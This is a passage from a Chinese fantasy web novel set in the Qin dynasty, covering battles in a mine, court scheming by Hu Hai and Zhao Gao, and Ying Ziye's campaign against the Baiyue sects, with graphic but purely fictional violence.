焰灵姬眼眸猩红,胸口火精的光芒剧烈跳动,狂暴的热浪将敌我一同焚烧。
魅姬也口吐鲜血,双眼翻白,却仍催动幻蛊拼死支撑。
杀戮的压迫力令整个矿洞不断崩塌!
岩壁轰然裂开,滚落的巨石将尖叫的人影砸成肉泥,鲜血顺着炽热的岩缝蒸腾成血雾。
火光席卷,如狂暴的烈焰洪流,将成群的百越修士点
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燃成行走的火把!
他们扑打、嚎叫,却在数息间化作焦黑的骨架。
残肢焚化时发出“噼啪”爆响,犹如骨钟丧鼓!!!
血鸦的剑罡撕裂空气,血色剑气所过之处,整片尸傀与修士齐齐碎裂!
血肉与残骨被气流裹挟,飞溅在岩壁上。
留下一道道触目惊心的暗红印痕!
尖锐的惨嚎与火焰的轰鸣交织,仿佛数百冤魂同时哀号。
空气被烧灼得灼热而稠厚,每一次呼吸都像吞入血浆与火焰,令人肺腑灼痛。
地心火精的狂暴波动令矿洞宛如炼狱熔炉。
一些修士被火焰与剑罡震得粉身碎骨,却连惨叫都来不及发出,只余下被焚尽灵魂的灰烬,随热风飘散。
整个矿洞,宛若地狱大开,将一切活物都拖入毁灭深渊!!
只余下拼杀不休的暗河血鸦卫、影狩与百越修士。
血与火的厮杀声,持续到了地底崩裂的最后一刻……
乱战之中。
矿洞入口,突然传来一股浩荡清气。
儒家弟子的朗朗诵经声如洪钟撞响!!!
“《礼》云:非其鬼而祭之,谄也!尔等蛮夷,安敢窃据中原宝器!”
竹简展开的金光,瞬间压过整个战场邪氛。
数个地尸门弟子惨叫着化为飞灰!
与此同时,只见法家弟子的法典凌空悬浮。
律令条文如铁索缠向万兽宗!!
“按《秦律》盗掘宝矿者,车裂!!!”
虚空刑具显现,当场将紫袍老者四肢扯断!
“阴阳家,星流霆击!”
一阵阵喝声从穹顶落下。
幽蓝气刃如暴雨倾泻,专门点杀试图携宝遁逃者!
影狩统领见势不妙,血刃劈开一道毒雾:“撤!”
十二道血影毫不犹豫地舍弃部分战利品,如鬼魅般渗入岩缝。
他们竟早有预留的逃生密道!
而焰灵姬见势不妙,也突然将地心火精拍入胸膛。
恐怖的热浪炸开逼退众人。
她红发尽数化作流火,赤晶玛瑙在掌心灼灼生辉。
“魅姬,走了!”
她火鞭卷住最后几颗核心玛瑙,身形开始虚化。
“姐姐等等我!”
魅姬娇笑着甩出蛊雾阻敌,却故意将几个百越同门推向儒家剑阵。
“臭娘们!你竟敢弃我们而去?!”
万兽宗幸存者目眦欲裂!!!
“天泽大人不会放过你的!”
魅姬回头抛了个媚眼:“好叫你们死个明白~”
她指尖弹出一枚天泽的蛇鳞令,令箭却在空中自燃成灰。
“从始至终,你们都是用来吸引火力的弃子呀~”
地尸门长老绝望地试图土遁,却被法家弟子的律令铁索从地底扯出:“**!”
旋即,被虚空铡刀拦腰斩断!
焰灵姬最后望了眼乱战中的百越修士,眼中毫无波澜。
火翼轰然展开,熔穿头顶岩层直冲云霄,只留下一句冰冷回响:“能为本座大业牺牲,是你们的荣耀。”
凝冰阁老妪发出凄厉诅咒:“天泽必遭反噬!百越先祖的冤魂绝不会…”
话未说完,就被阴阳家弟子们的气刃贯穿眉心!
矿洞,彻底沦为屠宰场。
百家弟子结阵清剿残敌!!
第202章 你们这是打算抢六公子的东西?
而不远处,血鸦一声长啸,玄色战袍猎猎鼓荡。
血鸦卫与暗河精锐齐齐结阵,剑气与**矢交织成无数杀机,猛然扑向乱战中的百越修士!
“百越余孽,皆斩!!!”
杀声震得洞顶石乳簌簌坠落,血鸦卫的剑阵如铁壁横扫。
暗河**的身影则在火光与阴影中穿梭,专取要害。
血鸦手中长剑翻飞,与儒家、法家、阴阳家等众高手遥相呼应!
剑光与律令、星刃交织,仿佛一张合围的天网,将百越宗门彻底笼罩!!!
万兽宗的巨**被斩作数段。
尸傀门的妖物在儒家竹简金光下化为飞灰!
凝冰阁的冰阵被幽刃粉碎,数名弟子在惨叫中冻裂成冰屑。
整个矿洞化作炼狱。
火雨玛瑙的赤光与鲜血交织,血鸦卫的肃杀呼号与百家弟子的朗声诵经混成一片,压得幸存的百越门人心胆俱裂。
“啊——!”
一名长老拼死欲遁,却被血鸦的长剑钉死在岩壁,鲜血顺着裂缝滴落。
至此,百越七宗余部彻底崩溃!!!
一炷香后。
矿洞内血腥味浓得化不开。
百家弟子虽已停手,但目光仍胶着在满地火雨玛瑙上。
儒家弟子的竹简无意识收拢。
法家弟子们的法典悬浮不定。
连阴阳家们的幽蓝气刃都在微微震颤!
这些宝物散发的能量让修行者本能地渴望!
只见几个儒家弟子们目光死死黏在火雨玛瑙上,竹简金光未散,反而越加炽烈。
有人低声喃喃:“若能得此宝入《礼》藏室,便是万世功勋!”
两名年轻儒生按捺不住,踏前一步。
法家弟子冷笑:“私欲贪宝,当以秦律论罪!”
法典铁索骤然甩出,竟直接缠住几名眼神闪烁的同门。
铁链绞紧,骨骼碎裂声令人头皮发麻!!
阴阳家的人则双袖翻飞,幽蓝气刃化作雨幕洒下。
一个装死的百越余孽正悄然摸近宝堆,还未来得及得手,整个人便被生生冻成冰雕,随后轰然粉碎!!
空气中,杀机弥漫。
百家弟子都很嘴硬,没有一人肯松开对火雨玛瑙的渴望。
洞窟内的气氛,犹如堆满**的箭楼,只等谁先引爆火星!
血鸦冷冷一声:“退。”
长剑交错成锋网,杀气横扫全场,强硬将所有人的脚步压了下去!!
“都听清楚了。”
他冷声开口,杀气逼得空气都在颤鸣,“此物乃六公子亲令索要之物,尔等…莫不是想要伸手?”
一名阴阳家弟子冷哼一声,贪婪地走上前一步,脚掌重重踏碎地面。
却被血鸦卫齐齐转动**机瞄准!!
嗡鸣声骤起,寒芒逼人!
杀机,顷刻间压得他汗**直竖,生生止步!!
暗河**们亦已无声结阵,锋刃反射着岩浆的光,像是随时要把他们撕成碎片。
洞窟内的热浪与血腥气交织,可压迫众人的,却是那一声森冷警告!
动手者,必死!!!
就在僵持间!
血鸦怀中通讯符骤亮!
赢子夜的声音如冰泉灌入每个人耳膜:“听说…有人对本公子的战利品感兴趣?!”
百家众人齐齐色变!
那声音分明隔着千里,威压却让洞顶碎石簌簌落下!!
“不敢!”
儒生们率先躬身。
“儒家这就去清剿外围残敌。”
“法家愿助暗河看守宝矿。”法吏们的法典重重合拢。
阴阳气刃也被众人收回袖中。
“公…公子放心,阴阳家…这就去追那两个女人!”
通讯符中,赢子夜冷笑一声,却并未追究什么。
血鸦剑尖挑起残留的毒泥:“主上恕罪,刚才场上似乎还有着一股神秘势力,他们暗中做局,那些玛瑙也被他们抢走了一些……”
“无妨。”
赢子夜的声音带着一丝玩味。
“让他们拿去便是,你只管带人把矿脉彻底封死。”
随后,暗河**立即引爆预埋的**!
在百家众人惊愕的目光中,整座矿洞开始隆隆坍塌!!!
“告诉百家……”
赢子夜最后一句如寒刃刮骨。
“今
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日所见所闻,若漏出半字…”
岩层轰然砸落,吞没了未尽之语。
……
数日后。
南疆大营。
赢子夜指尖的金焰正灼烧着一枚断裂的剑刃。
那是暗河从新郑矿洞快马加鞭送来的证物。
剑刃上的邯郸剑派徽记在火焰中扭曲变形,却顽强不灭。
“第二次了。”
他声音冷得像冰!!!
“邯郸剑派、阴阳咒印、墨家武学…这些本该埋进土里的东西,总在关键时刻冒出来。”
赵弋苍的铁面具下传出沉闷回应:“卑职查过,当年邯郸城破后,剑派核心弟子二十七人确已尽数诛绝。”
“尽数?”
赢子夜突然捏碎剑刃。
碎片迸溅中映出他森冷的瞳孔。
“那前几日在新郑矿洞中使‘流星逐月’的是鬼么?”
“还有上一次那些人……”
他甩袖展开南疆地图,指尖重重点在咸阳方向!
“能同时网罗六国余孽,精通各派所长,还能在父皇眼皮底下养死士…”
赵戈苍闻言,无声跪地!
“属下已令‘夜枭’彻查,但对方手脚很干净,所有线索指向都是…都是已死之人。”
赢子夜忽然轻笑:“**是最好用的棋子。”
他蘸着茶水在案上画了条盘踞的蛇。
“顺着线索查下去!”
“能让邯郸剑派甘心效死,可不是光靠权势能做到的。”
他忽然甩出半块兵符:“传令,让血鸦分走三成暗河撤出新郑,专查邯郸剑派余孽。”
“记住,从当年监斩官查到坟场守墓人——”
他的黑瞳中闪过厉色。
“就算把所有赵陵掘开验尸,也要找出谁在偷梁换柱!!!”
“诺!”
赵戈苍领命欲走。
“等等。”
赢子夜的唇角勾起残忍弧度。
“若问不出话…就把他们塞进邯郸那些王室祖坟,让他们的列祖列宗好好看看这些孝子贤孙。”
帐外突然传来急促脚步声!
赢子夜袖风扫净桌上水渍,又是那个运筹帷幄的六公子。
第203章 八百里加急入咸阳!!!
此时此刻。
军帐内,主战派的将领们几乎要掀翻帐顶!!
屠雎的花白须发因激动而根根直立,拳头砸在案几上砰砰作响。
“公子!百越溃军战船尽毁,此时不追更待何时?难道要等天泽缓过气来反咬一口吗!”
赵佗更是单膝跪地,铠甲铿锵。
“末将愿立军令状!若不能斩下天泽头颅,提头来见!”
赢子夜玄衣沉静,指尖一枚青铜兵符在沙盘边缘不轻不重地叩击着。
那规律的轻响莫名压住了帐内的喧嚣。
他抬眸,黑瞳扫过群情激愤的将领,最终落在地图沙盘上。
“不准。”
声音不大,却如冰水泼入滚油。
帐内霎时死寂!
屠雎脸涨得通红!
“公子!这是为何?!”
赢子夜不再言语,指尖兵符突然点在沙盘代表百越溃退路线的位置。
金焰自兵符流淌而出,迅速在沙盘上勾勒出秦军当前追击的几条预设路线。
随后,他袖中又甩出十余枚代表伏兵的赤旗,精准插在路线两侧的险要山谷、密林与河道拐点。
“看清楚了?”
他声音冷冽。
“黑风峡,毒蟾宗可借瘴气藏兵三万。”
“腐骨潭,地尸门的尸傀潜伏泥下无需换气。”
“万蛇谷…”
他指尖金焰猛然窜高,将谷地模型烧得通红!!!
“天泽的本命螣蛇蛊一旦引爆,整座山谷就是熔炉。”
将领们脸色渐渐发白。
沙盘上,代表秦军的黑色小旗一旦深入,顷刻间就会被赤色浪潮吞没,首尾不能相顾。
赵佗喉结滚动。
“但…但百越伤亡如此惨重,怎能还有余力布此杀局?”
“伤亡?”
赢子夜嗤笑,突然抓过案上战报掷在地上。
“这上面写的斩首数,够把百越男女老幼杀两轮了!!!”
他黑瞳如炬。
“可有人见过妇孺尸首?见过老人尸首?”
“天泽用巫蛊催生的,本就是些活**傀儡!”
他指尖金焰突然刺入沙盘上代表百越后方的区域。
“你们追杀的‘溃军’,不过是饵料。”
“真正的百越主力…”
金焰爆开,显出蛇谷深处密密麻麻的新蛊巢!
“正在用同族的尸体批量炼蛊!”
帐内落针可闻。
赢子夜拂袖扫平沙盘:“传令:全军固守,休整待命。”
众将面面相觑,终究抱拳。
“诺!”
待众人退去,赢子夜独留蒙毅。
他取过一枚玄色令箭。
“你带三千心腹,走漓江暗渠,秘密开挖三条支流。”
令箭点在沙盘上百越腹地。
“一条通蛇谷地脉。”
“一条灌腐骨潭。”
“一条…直抵天泽的老巢。”
蒙毅虎目圆睁!
“公子要水攻?”
“水攻?”
赢子夜轻笑:“是送端木蓉的‘归尘’毒直抵要害。”
他又取出一枚储物戒递给身旁的少司命。
“夫人走趟新郑,把火雨玛瑙尽数带回。”
赢子夜语气冷静,却带着不容置疑的威压:“尤其是那些纯度极高的,务必一颗不落!”
少司命颔首,紫纱拂过戒指,将其收起。
“再传出消息…”
赢子夜眼中闪过寒芒。
“天泽为取地心火精,故意用百越各宗门的命填矿洞。”
他甩出一卷帛书。
“把这消息散给所有百越溃军!本公子要天泽…众叛亲离!”
蒙毅倒吸凉气。
“如此一来,百越内部必生乱局!”
“乱?”
赢子夜转身望向百越方向,黑瞳中映出滔天烈焰。
“乱点才好。”
……
咸阳。
十八公子府密室中,烛火将胡亥扭曲的影子投在墙上。
他正用金簪慢条斯理地拨弄着香炉里的灰烬,听着跪在地上的影狩颤抖的禀报。
“公输仇的机关坊三日前就已搬空,韩信及其麾下数名亲兵更是在十日前便以巡营为由消失…”
影狩的声音越来越低。
“我们安插的眼线…全部失联!”
胡亥的动作顿住了。
金簪尖端缓缓从灰烬中抬起,一滴滚烫的香膏正顺着簪尖滑落!
“十天。”
他轻声重复,声音甜腻如蜜:“十天时间,够他们从咸阳走到百越了。”
突然,他反手将金簪刺入影狩肩胛!
“本公子的暗线是摆设吗?!”
影狩咬牙忍痛。
“属下已将所有失职者处决…”
“处决?”
胡亥痴痴笑起来,拔出金簪舔舐上面的血迹。
“那太便宜了。”
他忽然凑近:“把他们家眷做成‘人烛’,送去慰劳兄弟们,就说这是本公子赏的。”
这时。
另一名影狩连滚带爬闯入!
“殿下!新郑那边有消息了……但只抢到三成火雨玛瑙!”
胡亥瞳孔骤然收缩。
他温柔地招手让来人靠近,突然掐住对方喉咙按在香炉上!!!
皮肉烧焦的臭味弥漫开来,惨叫声被掐断在喉咙里。
“本公子养你们…”
胡亥的声音轻得像情人的呢喃:“是为了听‘失败’二字吗?”
他甩开昏死的部下,扯过绢帛潦草写下命令。
“所有参与新郑行动的小队,各断一臂!若有下次…”
笔尖狠狠戳穿绢帛:“就连脑袋一起砍了!!!”
影狩冷汗涔涔。
“可是殿下,当时百家与暗河…”
“砰!”
胡亥一脚踹翻香炉,炭火溅得满地都是。
“我要的是结果!不是借口!!!”
他神经质地啃咬指甲。
“既然他们都往百越跑…那正好。”
他突然露出天真又残忍的笑容:“派人去追公输仇和韩信,尽量截杀掉,若是拦不住,就把赢子夜的计划漏给天泽。”
指尖沾着炭灰在墙上画了个圈套圈。
“本公子要他们…互相咬得满嘴**!”
……
数日之后。
八百里加急传入咸阳!
战马嘶鸣,尘土滚滚,披甲的飞骑自南门直入麒麟殿。
车辚辚,鼓声急,沿途禁军纷纷避让,唯恐阻了圣命军报。
殿前侍立的传令官早已声嘶力竭,高举染血的檄文:“八百里加急——南疆军情!!!”
青铜鹤灯下,群臣齐齐屏息!
当军报展开,内侍朗声诵读:
“六公子率大秦将士,连战连捷,斩首数万!百越主力已退守山林,溃不成军!”
“六公子暂令全军休整,择日再伐,以图一战定乾坤。”
“另,长公子已脱性命之忧,诸伤渐稳,然行走不便,须长时静养!”
殿内紧绷的气氛骤然松弛。
几名长公子派系的老臣,包括淳于越,都是险些瘫软在地,被同僚暗暗扶住
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。
“天佑大秦!天佑长公子!”有人忍不住泣声高呼,须发皆颤。
百官目光纷纷投向御座后的珠帘,等待帝王的裁断。
“天佑大秦!天佑长公子!”
右丞相冯去疾率先高呼,须发皆颤。
“六公子用兵如神,实乃国之大幸!!!”
群臣附和声如潮涌。
唯有李斯眯着眼,注意到赵高在听到这次军报后,身躯微不可察地抖了一下。
果然!
就在**声中,赵高突然匍匐出列,嗓音尖利如锥。
“陛下!老奴也刚得密报,百越虽溃,那天泽却却夺得了火雨玛瑙的核心,地心火精!”
他重重叩首。
“此物能催发万千尸蛊,若任其炼化,恐边疆危矣!”
九阶玉台上,十二旒冕冠微微晃动。
始皇帝的声音从珠帘后传来,每个字都似冰珠坠地。
“赵高,你似乎很关心南疆战事?”
赵高额头紧贴金砖:“老奴只忧心六公子年少气盛,若贪功冒进…”
他故意顿住,任由后半句在死寂中发酵!
李斯突然轻笑:“中车府令倒是消息灵通,却不知这‘核心’之说,出自何处?”
他袖中手指疾掐,算着赵高近期的动向。
“罗网擒获的百越巫祭所言。”
赵高应对自如:“据说那火精能焚江煮海,非人力可抗…”
他突然提高声调!
“为保万全,恳请陛下速遣水师驰援!!”
嬴政指节轻叩龙榻扶手。
案上玉玺突然嗡鸣,震得群臣心跳加速!
“王贲。”
帝王点将。
“末将在!”
王贲踏前一步,甲胄铿然!
这位将军虽已鬓染霜色,虎目仍如当年踏破邯郸时般锐利!!
“率五万水师走灵渠。”
嬴政袖中甩出半枚虎符:“若遇火精尸傀…你知道该怎么做。”
王贲凌空接住虎符!
“诺!若真遇那邪物,末将便效仿父亲,决堤灌之!!!”
他目光扫过赵高,带着沙场老将特有的鄙夷:“总好过某些人只知躲在咸阳耍嘴皮子。”
赵高脸色一白,却见始皇帝已起身退朝。
珠帘晃动间,帝王最后瞥了眼李斯:“丞相觉得不妥?”
李斯躬身掩去眼底疑虑:“王将军忠勇无双,只是…”
他话锋一转:“水师行军需经鄱阳水匪地界,或有百越江湖宗门阻挠,是否加派黑冰台护卫?”
“不必。”
嬴政身影没入阴影:“朕倒要看看,哪些魑魅魍魉敢拦王贲的路。”
退朝钟声响起时,赵高悄无声息退至柱后。
指尖轻轻一划,袖中蜡丸碎裂,渗出一点黑血。
血迹迅速在地砖上蜿蜒成蜘蛛纹,闪烁片刻,便倏然消散。
这是罗网最高等级的“蛛印传讯”,信息已然送入罗网核心,绝不会落入旁人之手。
“赢子夜…”
他无声蠕动嘴唇,扯出个毒蛇般的笑。
“且看你这盘棋,怎么接陛下这手‘援军’。”
……
宫门外,王贲正摩挲着虎符皱眉。
副将低声问:“将军真信那火精之说?”
老将冷笑。
“信又如何?不信又如何?”
他忽然握紧虎符:“但陛下既然给了这五万人…某些人想借水路搞鬼,也得问问老子的楼船答不答应!”
夕阳将战船影子拉得很长,如黑龙游向南方!
第204章 百越禁地,九幽下的魔头!
十八公子府。
密室内,胡亥正用**慢条斯理地削着苹果。
果皮连绵不断垂落,露出底下腐烂的果肉。
正如他此刻的笑脸,甜美下透着腐朽:“老师今日在朝堂上…很是为六哥操心呢。”
**尖突然刺穿果核!
“莫非觉得本公子这艘船要沉,想换艘大的?”
赵高袖中的手微微收紧,面上却堆起谄笑:“殿下说笑了。”
“老奴举荐王贲,正是要送六公子一份‘大礼’!”
他往前半步,声音压得极低:“那五万水师里,混进了不少咱们的人…”
胡亥突然将烂苹果砸向他面门!
“本公子要的是火雨玛瑙!不是劳什子水师!!!”
“要那些废物过去,你觉得六哥收拾不了?”
“公子明鉴。”赵高任由汁液从脸颊滑落,“传闻,在百越禁地‘九幽’之中……”
他袖中滑出一卷兽皮地图,上面九个骷髅头标记正渗出黑血。
“那里,关着九个魔头…”
**,突然抵住他咽喉!
胡亥眼中翻涌着疯狂,忽然眯起眼,声音轻飘飘,却带着森寒。
“老师莫不是又在哄骗本公子?”
“你说的那些魔头,真在九幽?不会只是编个故事,想把本公子引去陪葬吧?”
**在他指尖来回转动,寒光一寸寸逼近赵高咽喉!
“非也。”
赵高指尖轻推开**,露出颈间狰狞的蛊虫纹路。
“罗网已找到控制他们的秘法,只需以万人血为引。”
他故意顿了顿:“恰巧,南疆战事焦灼,不缺人血…”
胡亥瞳孔骤然收缩!
他忽然咯咯笑起来,笑声中**反转,竟在自己掌心划出血口。
“老师果然最懂我。”
他将血滴在兽皮地图上,九个骷髅瞬间活过来般嘶吼!!
“那便让六哥好好当这个‘血引’…”
“此外…”
赵高又递过枚骨符:“军中的暗棋也该动了,只要王贲的水师与六公子汇合…”
骨符突然炸裂,毒雾中浮现出秦军自相残杀的幻象!
胡亥痴迷地伸手触碰幻象。
“到时候,父皇就会知道…”
他忽然咬破指尖,在案上画了个吊死的人偶。
“谁才是最适合继承大秦的儿子!”
密室烛火齐齐熄灭!!
黑暗中只余赵高阴冷的低语。
“老奴这就去安排‘祭品’…定让他们,为殿下所用!”
当烛火重燃时,胡亥正对着铜镜练习赢子夜的表情。
镜中人的嘴角咧到耳根,眼中却毫无笑意。
“六哥啊…”
他轻声道:“你说是你的剑快,还是魔头的牙利?”
……
百越深处。
蛇谷祭坛内,此刻却弥漫着与往日虔诚肃杀截然不同的躁动与不满。
数十名来自各宗门的首领、长老**于此。
他们衣衫各异,身上纹饰透着毒蛊、尸傀、兽灵等百越秘术的痕迹,此刻却都面带愤懑!
“天泽太子还要躲到何时?!”
万兽宗的一名紫袍长老按捺不住,声音因愤怒而嘶哑。
“我宗弟子在矿洞之中死伤殆尽,他却连面都不露!这就是合作的诚意吗?”
“何止你万兽宗!”
地尸门的一位老妪用骨杖重重顿地,声音尖利。
“我门辛苦炼制的尸傀大军,被当做诱饵弃如敝履!若早知道是这般下场…”
“早知道又如何?”
凝冰阁的一位白衣女修冷笑,周身散发着寒意。
“如今我们皆已损兵折将,绑在了他的战车上,还能脱身不成?”
这话引起了更多人的共鸣。
抱怨与质疑声越来越大,渐渐演变成对天泽的声讨!!
气氛越来越紧张,怀疑的种子一旦种下,便迅速滋生蔓延。
“若天泽太子始终这般不计我等死活,只顾他自家霸业…”
一个站在稍外围、性情较为冲动的部落首领终于忍不住,将心底最深的恐惧吼了出来!
“那也别怪我们另寻出路!”
“百越各族,从不是任人宰割的牛羊!!!”
“噗——!”
一道模糊的蛇形黑影毫无征兆地闪过,快得令人眼花。
那发声的首领话音戛然而止!
整个人如同被无形的巨力碾过,瞬间爆成一团血雾!
连惨叫都未曾发出,腥热的血气顿时弥漫开来!
祭坛上瞬间死寂,落针可闻!!!
所有喧嚣抱怨戛然而止,众人脸色煞白,惊惧地望着那团尚未落地的血雾。
一些修为稍弱者甚至双腿发软,险些跪倒在地。
紧接着,只听见沉重的脚步声,从祭坛最深处的阴影中传来。
天泽缓缓步出。
六条粗壮的蛇形锁链在他周身缓缓游动,鳞片摩擦着地面,发出令人牙酸的窸窣声!
他脸上那些诡异的蛇鳞纹路在幽暗的光线下仿佛活物般微微蠕动。
猩红的竖瞳冰冷地扫过在场每一个噤若寒蝉的宗门首领。
“谁若再敢言叛……”
天泽的声音不高,却带着刺骨的寒意和绝对的威压。
每一个字都像冰锥砸在众人心头!!!
“这,便是下场。”
恐怖的死寂,持续了数息。
终于,万兽宗的紫袍长老强压住恐惧,硬着头皮上前半步,声音干涩发颤。
“太…太子息怒,非是我等要生二心,实在是…损失太过惨重,各部儿郎的鲜血不能白流…太子总需给我等一个交代…”
“交代?”
天泽像是听到了什么天大的笑话,突然放声大笑。
笑声在空旷的祭坛中回荡,显得格外阴森刺耳。
笑声骤停。
他的目光变得锐利如刀!!
锁链上的鳞片齐齐竖起,发出金属般的铮鸣!!
“若此战胜了,秦人的尸骨铺满南疆,火雨玛瑙堆满你们的山洞!”
“那时,你们可还会向本太子要什么‘交代’?!”
轰!
轰!
轰!
数道强大的气息骤然降临。
百毒王佝偻的身影从毒雾中浮现。
驱尸魔的骨杖敲击地面,带来亡灵的哀嚎!
无双鬼铁链铿然,每一步都如雷霆轰击,生生压得空气凝固!
更有几位一直隐匿不出的百越古老存在也散发出令人心悸的威压,隐隐将一众宗门首领围在中间。
天泽踏前一步,蛇链狂舞,气势滔天。
“本太子答应带你们杀出山林,夺回祖地,享用中原丰饶!”
“这,就是给你们的交代!!”
他话锋一转,声音充满蛊惑,却又带着冰冷的试探。
“更何况,如今火雨玛瑙矿脉的位置已然显现,本太子在此立誓,你们若有
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本事自己去取,所得一切,尽归尔等所有,本太子绝不索要一分一毫!如何?”
巨大的诱惑与致命的威胁交织在一起,让众人心神剧震,脸上露出挣扎与贪婪!
去,可能面对秦军和暗河的绞杀。
不去,眼前这位太子爷的怒火他们根本无法承受。
看着犹豫不决的众人,天泽眼中的耐心渐渐消失,杀意再次升腾。
“还是说…你们现在就想试试,能不能拿下本太子的人头,去给赢子夜当投名状?!”
最后的一个字同惊雷炸响!
伴随着磅礴的杀意席卷而出,压得许多人口鼻溢血,连连后退!
“不敢!我等不敢!”
“愿追随太子!”
“我等这就去召集人手!”
再无人敢有异议。
一众宗门首领纷纷低头告退,仓皇离去,仿佛身后有恶鬼追赶。
待祭坛重归寂静,天泽才冷冷开口。
“无双鬼,去接应焰灵姬,务必保证她和地心火精安全返回。”
“那…秦军主力迟迟未动…”
百毒王迟疑道。
“赢子夜想当缩头乌龟,就让他当。”
天泽嗤笑,蛇瞳望向中原方向,充满了狂热。
“只要地心火精到手,本君的百万尸傀便是触手可及……”
“届时,整个天下都将在我脚下颤抖!!!”
他顿了顿,补充道:“不过,也不能让他**逸,派小股部队,不断袭扰,就像蚊子吸血,虽不致命,但要让他烦不胜烦。”
“把他的人…尽量往山林深处引。”
……
漓江对岸。
中军大帐烛火通明。
赢子夜指尖的金焰正灼烧着一枚刚从死者咽喉取出的毒蛊。
那蛊虫在火焰中扭曲尖啸,最终炸成一滩腥臭的绿液。
“第三十七个。”
赵弋苍的铁面具上溅满毒血。
“还是老样子,刚要吐露身份就触发心蛊。”
赢子夜捻起一点绿液,黑瞳微眯:“蛊纹带楚风,毒性是百越的。”
他忽然将毒液弹向沙盘,液体竟在代表楚地的区域蜿蜒成蛇形。
“我们军中…混进了些‘老朋友’。”
帐外突然传来打斗声。
晓梦的白衣随风拂入,几缕剑气无声坠下,三名被钉穿手腕的士兵已被押进来,脸色惨白,额头冷汗涔涔,腰间还挂着水囊和掘土、工具。
“禀公子,他们在勘探正待挖掘的水路位置。”
晓梦声音清冷,却平静得没有一丝波澜:“身上有伪装过的楚地户籍。”
赢子夜缓步走近,玄色衣袍扫过地面血渍。
“楚人?百越?还是…”
他忽然掐住其中一人下巴:“披着楚皮的越鬼?”
那士兵突然眼球暴突,皮肤下窜出蛊虫!!
赢子夜金焰骤发,连人带蛊烧成灰烬。
另外两人见状咬舌,却被赵弋苍卸了下巴。
“查。”
赢子夜甩袖转身:“所有楚籍士卒,重点查项氏旧部!”
金焰在沙盘上勾出几条隐秘水道。
“尤其是这些能直通蛇谷的水路,让蒙毅注意,经手者全部隔离。”
赵戈苍迟疑:“但蒙毅将军麾下多有楚人,若大范围清查…”
“那就从将领查起。”
赢子夜指尖点向沙盘上楚军驻扎地,“告诉钟离昧,他的箭,该换一个目标了。”
第205章 今世,夫君才是我的全部!!!
与此同时。
蜿蜒的暗河之下,十辆满载“盐包”的青铜机关兽吱呀滑行。
公输仇窝在头车打盹,布满机关纹路的手指却始终按在车板暗格上。
“嗡——”
空气中突然传来细微的机括声。
老人眼皮未抬,反手拍下车壁机关。
最后三座机关兽瞬间解体,木桶中爆出数百个拳大的青铜机关鼠,如潮水般涌向暗河旁边的各处支流!!
“嗖嗖嗖!”
淬毒**箭从黑暗处射来,却大多钉在机关鼠身上。
这些小家伙被击中后立即自爆,毒雾顿时弥漫开来!
“墨家的爆炎鼠?不对…”
黑暗中传来惊疑声:“是公输家的自毁机关!”
公输仇终于睁开眼,嗤笑。
“有点眼力。”
他跺跺脚,中间几座机关兽的盐包突然弹开,露出里面折叠的机关**。
“可惜知道的太晚了!!!”
**箭如飞蝗倾泻,逼得支流中的**现出身形。
这些人**杂乱至极,有使邯郸剑派快剑的,有用百越蛊术的,甚至还有农家地泽阵法的痕迹!
“乌合之众。”
公输仇操纵机关**变阵,铁矢专破内家真气。
却不防地面突然隆起,土遁者竟用道术炸翻两座机关兽!
“老东西,找死!!”
使邯郸剑法的蒙面人率先冲破箭阵,剑尖直取公输仇咽喉。
千钧一发之际,不远处突然射出三道剑气!
幽蓝的剑气精准打在剑身、膝弯、丹田,蒙面人惨叫倒地!
“什么人?”
公输仇一愣。
只见惊鲵剑的寒光如月华泻地。
田言紫衣翩然落在车顶,剑尖挑开一个敌人面罩。
下面竟是张被烙毁容貌的脸!
“不是罗网。”
她眸光骤冷:“是另一波死士。”
剩余**见状同时扑上,**更加混乱。
阴阳咒印混着毒蛊,墨家机关搭配兵家战阵!!
田言的惊鲵剑舞成光幕,却越打越心惊!
这些人的招式,像极了她在罗网密卷中看过的“血手录”!
“公输先生,走!”
她甩出三枚***:“这些人**太杂,缠斗不利!”
机关机关兽立刻重组变形,化作铁甲蜈蚣钻地向后撤!
**们刚要追,河面下突然刺出无数带毒的地泽尖桩!!
“农家的阵法?你怎么会…”
**头领惊怒。
田言剑尖滴血,冷笑:“你们不是也会么?”
她突然变招,惊鲵剑递出,瞬间刺穿两人咽喉!!
公输仇的声音从地底传来:“田姑娘!东北方三十里汇合!”
田言闻言,却故意引着**往反方向退。
当最后一名**被惊鲵剑钉在树上时,她挑开对方衣襟。
心脏处果然烙着一枚漆黑的纹路。
“果然……”
田言眸光一沉,脑海里闪过罗网密卷上的记载。
那是赵高早年训练死士的手段,**混杂,极尽残酷!
只是这烙印的纹路与旧档案中描述的并不完全相同,似乎另有变异。
她低声喃喃:“不像罗网…却出自同一脉络。”
田言最后瞥了眼**尸体:“告诉你们的主子…”
惊鲵剑搅碎心脏。
“旧账未清,新账又添…迟早一并算了。”
……
而三十里外,公输仇的机关车刚钻出地面,就被田言安排的农家弟子接应。
老人盯着暗河出口方向,脸色渐渐凝重。
“那伙人不是罗网吗……”
就在此时,机关兽的腹舱“咔哒”一声被推开。
韩信一脸困倦地钻出来,打着哈欠,手里还拎着个酒葫芦。
“吵**。”
他眯眼扫过几人,“不过是想补个觉,非得把天捅个窟窿。”
公输仇没好气地哼了一声:“你要是再睡下去,怕是连骨灰都得埋在暗河里。”
就在此时,树林间传来急促的剑鸣!
田言紫衣翻飞,惊鲵剑划出一道月华般的光弧。
她踩着落叶,一路飘入空地,紫眸森冷,剑尖尚滴着未干的血。
“呼……”
她抬眸见到韩信,脸色骤然一冷,“你刚才竟一直在里面睡觉?”
“战机我自然看得清楚。”
韩信漫不经心地拍了拍身上灰尘,“只不过看你们杀得痛快,就没插手。”
公输仇翻了个白眼,懒得理他。
田言剑锋微颤,却还是压下心火。
她取出随身的纸张,寥寥几笔,写下刚才在暗河中的所见所闻。
字迹迅疾,却冷冽如剑锋。
她停顿片刻,又在纸张末尾添上一句:
“公子慎之!这些人幕后之手,极可能与罗网有关。”
说罢,她将信件系上信鸽,抛向夜空!
鸽翼振动,破空而去。
“走吧。”她突然斩断车辕,“我们农家的田脉暗渠,直通天下九方,无处不至。”
韩信扛着酒葫芦,笑眯眯地跟上:“正好,换个地方再睡。”
……
新郑。
矿洞之外,灼热的气息尚未完全散去。
少司命的白皙指尖轻触一枚悬浮的火雨玛瑙,紫眸中万叶流转,细细感知着其中汹涌的能量。
那玛瑙赤红如血,内部仿佛有熔岩流动,散发着令人心悸的磅礴灵力,和一种深藏的暴戾。
“好霸道的火灵。”
